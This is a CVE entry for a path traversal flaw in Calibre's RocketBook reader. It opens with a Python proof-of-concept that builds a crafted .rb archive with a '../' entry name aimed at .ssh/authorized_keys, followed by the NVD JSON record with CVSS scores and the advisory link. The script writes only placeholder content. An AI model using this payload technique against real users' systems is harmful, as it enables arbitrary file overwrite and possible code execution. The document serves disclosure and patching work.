CVE-2026-30853

#!/usr/bin/env python3 """ CVE-2026-30853 PoC - Calibre RocketBook Path Traversal Generate a malicious .rb file that attempts to write to arbitrary path """ import zipfile import os def create_malicious_rb(output_path, target_file): """ Create a malicious RocketBook (.rb) file with path traversal payload """ with zipfile.ZipFile(output_path, 'w') as rb_file: # Path traversal payload to write to arbitrary location # The actual exploitation depends on the specific vulnerability in reader.py malicious_content = b'Crafted RB content with path traversal' # Add the malicious content file with path traversal sequence traversal_path = f"../../../../../../{target_file}" rb_file.writestr(traversal_path, malicious_content) # Add main content file rb_file.writestr('content.rb', b'Main ebook content') print(f"[+] Created malicious .rb file: {output_path}") print(f"[+] Target path: {target_file}") if __name__ == '__main__': # Example usage output = 'malicious_book.rb' target = '.ssh/authorized_keys' # Example target for remote code execution create_malicious_rb(output, target)

{"cve": {"id": "CVE-2026-30853", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:35.077", "lastModified": "2026-03-18T14:01:22.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "calibre is a cross-platform e-book manager for viewing, converting, editing, and cataloging e-books. Prior to 9.5.0, a path traversal vulnerability in the RocketBook (.rb) input plugin (src/calibre/ebooks/rb/reader.py) allows an attacker to write arbitrary files to any path writable by the calibre process when a user opens or converts a crafted .rb file. This is the same bug class fixed in CVE-2026-26065 for the PDB readers, but the fix was never applied to the RB reader. This vulnerability is fixed in 9.5.0."}, {"lang": "es", "value": "calibre es un gestor de libros electrónicos multiplataforma para ver, convertir, editar y catalogar libros electrónicos. Antes de la versión 9.5.0, una vulnerabilidad de salto de ruta en el plugin de entrada de RocketBook (.rb) (src/calibre/ebooks/rb/reader.py) permite a un atacante escribir archivos arbitrarios en cualquier ruta escribible por el proceso de calibre cuando un usuario abre o convierte un archivo .rb manipulado. Esta es la misma clase de error corregida en CVE-2026-26065 para los lectores PDB, pero la corrección nunca se aplicó al lector RB. Esta vulnerabilidad está corregida en la versión 9.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:calibre-ebook:calibre:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.5.0", "matchCriteriaId": "973916AB-8FDD-411A-8AA0-F32688DD1C2E"}]}]}], "references": [{"url": "https://github.com/kovidgoyal/calibre/security/advisories/GHSA-7mp7-rfrg-542x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}